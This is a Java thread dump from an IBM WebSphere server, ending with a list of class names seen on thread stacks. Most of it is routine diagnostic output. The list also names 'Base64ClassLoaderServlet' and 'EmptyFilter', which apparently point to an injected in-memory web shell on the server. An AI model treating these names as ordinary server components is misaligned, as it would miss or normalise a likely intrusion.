java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.runtime.WsServerImpl.main(WsServerImpl.java:724) + at com.ibm.ws.runtime.WsServer.main(WsServer.java:59) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:90) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:55) + at java.lang.reflect.Method.invoke(Method.java:508) + at com.ibm.wsspi.bootstrap.WSLauncher.launchMain(WSLauncher.java:234) + at com.ibm.wsspi.bootstrap.WSLauncher.main(WSLauncher.java:101) + at com.ibm.wsspi.bootstrap.WSLauncher.run(WSLauncher.java:82) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:90) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:55) + at java.lang.reflect.Method.invoke(Method.java:508) + at org.eclipse.equinox.internal.app.EclipseAppContainer.callMethodWithException(EclipseAppContainer.java:587) + at org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:198) + at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:110) + at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:79) + at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:354) + at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:181) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:90) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:55) + at java.lang.reflect.Method.invoke(Method.java:508) + at org.eclipse.core.launcher.Main.invokeFramework(Main.java:340) + at org.eclipse.core.launcher.Main.basicRun(Main.java:282) + at org.eclipse.core.launcher.Main.run(Main.java:981) + at com.ibm.wsspi.bootstrap.WSPreLauncher.launchEclipse(WSPreLauncher.java:423) + at com.ibm.wsspi.bootstrap.WSPreLauncher.main(WSPreLauncher.java:180) + +"com.ibm.debug.DebugAppServerComponentImpl.ActionThread" #63 daemon [WAITING] on com.ibm.debug.DebugAppServerComponentImpl$ActionThread@b540a4c2 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.debug.DebugAppServerComponentImpl$ActionThread.run(DebugAppServerComponentImpl.java:210) + +"DCS Plugin Delivery Thread" #69 daemon [WAITING] on java.util.ArrayList@e9baf61a + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.hamanager.coordinator.impl.DCSPluginSingleServerImpl$DeliveryThread.run(DCSPluginSingleServerImpl.java:361) + at java.lang.Thread.run(Thread.java:825) + +"JIT Compilation Thread-000" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"PluginConfigService : 0" #111 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fad81c28 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"SCR Component Actor" #38 daemon [WAITING] on java.util.LinkedList@3be3ebc3 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:76) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WsSessionInvalidatorThread 103" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Timer-1" #54 daemon [WAITING] on java.util.TaskQueue@c943b5bd + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Timer-4" #60 daemon [WAITING] on java.util.TaskQueue@57997fea + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"WebContainer : 0" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.io.async.AsyncLibrary.aio_getioev3(Native Method) + at com.ibm.io.async.AsyncLibrary.getCompletionData3(AsyncLibrary.java:658) + at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:530) + at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1909) + +"server.startup : 1" #86 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0ed1f6d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"Deferrable Alarm : 0" #79 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f4062143 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"LT=0:P=255859:O=0:port=9100" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:450) + at java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.net.ServerSocket.accept(ServerSocket.java:582) + at com.ibm.rmi.transport.ListenerThread.run(ListenerThread.java:172) + +"NotificationServiceDispatcher : 4" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68574203 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"HAManager.thread.pool : 0" #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@526fc02f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"Timer-2" #55 daemon [WAITING] on java.util.TaskQueue@92a4a38a + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"ServerSocket[addr=0.0.0.0/0.0.0.0,localport=8880]" #72 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:450) + at java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.net.ServerSocket.accept(ServerSocket.java:582) + at com.ibm.ws.http.HttpTransport.run(HttpTransport.java:628) + at java.lang.Thread.run(Thread.java:825) + +"JIT Compilation Thread-002 Suspended" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"VM Runtime State Listener" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"HungThreadDetectorForDeferrable Alarm" #45 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ejs.util.am.AlarmThreadMonitor$AlarmThreadCheckDetector.run(AlarmThreadMonitor.java:424) + at java.lang.Thread.run(Thread.java:825) + +"Worker-0" #37 [TIMED_WAITING] on org.eclipse.core.internal.jobs.WorkerPool@a140f3e4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at org.eclipse.core.internal.jobs.WorkerPool.sleep(WorkerPool.java:186) + at org.eclipse.core.internal.jobs.WorkerPool.startJob(WorkerPool.java:218) + at org.eclipse.core.internal.jobs.Worker.run(Worker.java:51) + +"Thread-16" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@819c4ef + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453) + at com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread.run(BBDescriptionManager.java:1070) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-47" #117 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.cluster.service.delaycache.DelayCacheManagementThread.run(DelayCacheManagementThread.java:187) + +"LT=1:P=255859:O=0:port=2809" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:450) + at java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.net.ServerSocket.accept(ServerSocket.java:582) + at com.ibm.rmi.transport.ListenerThread.run(ListenerThread.java:172) + +"AIO Timer Thread 1" #105 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.io.async.Timer.run(Timer.java:185) + +"GC Worker" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"NotificationServiceDispatcher : 5" #113 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8b75971 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"Thread-39" #107 [WAITING] on com.ibm.CORBA.iiop.KeepAlive@97d54d6b + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.CORBA.iiop.KeepAlive.run(UtilDelegateImpl.java:996) + +"Concurrent Mark Helper" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-44" #114 daemon [TIMED_WAITING] on com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher@fe6d4e08 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher.hasWork(AbstractStatusCache.java:1506) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread.run(AbstractStatusCache.java:1584) + +"NotificationServiceDispatcher : 2" #88 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8b75971 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"WsSessionInvalidatorThread 115" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"server.startup : 2" #87 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0ed1f6d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"Deferrable Alarm : 1" #118 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f4062143 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"WsSessionInvalidatorThread 100" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"HAManager.thread.pool : 1" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@526fc02f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"GC Worker" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ClassCache Reaper" #36 daemon [WAITING] on java.lang.ref.ReferenceQueue@5714eff0 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:137) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:109) + at java.io.ClassCache$Reaper.run(ClassCache.java:222) + +"Thread-15" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40533fe1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453) + at com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread.run(BBDescriptionManager.java:1070) + at java.lang.Thread.run(Thread.java:825) + +"GC Worker" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"NotificationServiceDispatcher : 1" #68 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8b75971 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1069) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1933) + +"JIT Compilation Thread-005 Suspended" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Framework Event Dispatcher" #33 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@5d68c681 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336) + +"Bundle File Closer" #40 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@9616ebfa + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336) + +"WsSessionInvalidatorThread 101" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Thread-27" #94 daemon [TIMED_WAITING] on com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher@3a2bb75b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher.hasWork(AbstractStatusCache.java:1506) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread.run(AbstractStatusCache.java:1584) + +"Approximate Time Keeping Thread" #43 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.timeutils.QuickApproxTimeT$TimeThread.run(QuickApproxTimeT.java:129) + at java.lang.Thread.run(Thread.java:825) + +"WMQJCAResourceAdapter : DMN2" #78 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@12f69578 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:127) + at java.lang.Thread.run(Thread.java:825) + +"WMQJCAResourceAdapter : DMN0" #76 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@b4134e13 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:127) + at java.lang.Thread.run(Thread.java:825) + +"Thread-24" #70 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.management.dragdrop.WatchService$Watcher.dosleep(WatchService.java:554) + at com.ibm.ws.management.dragdrop.WatchService$Watcher.run(WatchService.java:521) + +"WsSessionInvalidatorThread 97" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23c39e87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.CORBA.iiop.KeepAlive +com.ibm.debug.DebugAppServerComponentImpl$ActionThread +com.ibm.ejs.j2c.work.WorkScheduler +com.ibm.ejs.util.am.AlarmManagerThreadCSLM +com.ibm.ejs.util.am.AlarmThreadMonitor$AlarmThreadCheckDetector +com.ibm.io.async.AbstractAsyncFuture +com.ibm.io.async.AsyncChannelFuture$1 +com.ibm.io.async.AsyncLibrary +com.ibm.io.async.ResultHandler +com.ibm.io.async.ResultHandler$2 +com.ibm.io.async.Timer +com.ibm.rmi.transport.ListenerThread +com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread +com.ibm.ws.cluster.service.delaycache.DelayCacheManagementThread +com.ibm.ws.hamanager.coordinator.impl.DCSPluginSingleServerImpl$DeliveryThread +com.ibm.ws.hamanager.impl.UserCallbacks$WorkDispatcher +com.ibm.ws.http.HttpTransport +com.ibm.ws.http.channel.inbound.impl.HttpInboundLink +com.ibm.ws.management.dragdrop.WatchService$Watcher +com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread +com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher +com.ibm.ws.runtime.WsServer +com.ibm.ws.runtime.WsServerImpl +com.ibm.ws.runtime.selectableBundles.AsyncFileOperations$WorkDispatcher +com.ibm.ws.tcp.channel.impl.AioReadCompletionListener +com.ibm.ws.tcp.channel.impl.ChannelSelector +com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback +com.ibm.ws.timeutils.QuickApproxTimeT$TimeThread +com.ibm.ws.util.BoundedBuffer +com.ibm.ws.util.BoundedBuffer$GetQueueLock +com.ibm.ws.util.ThreadPool 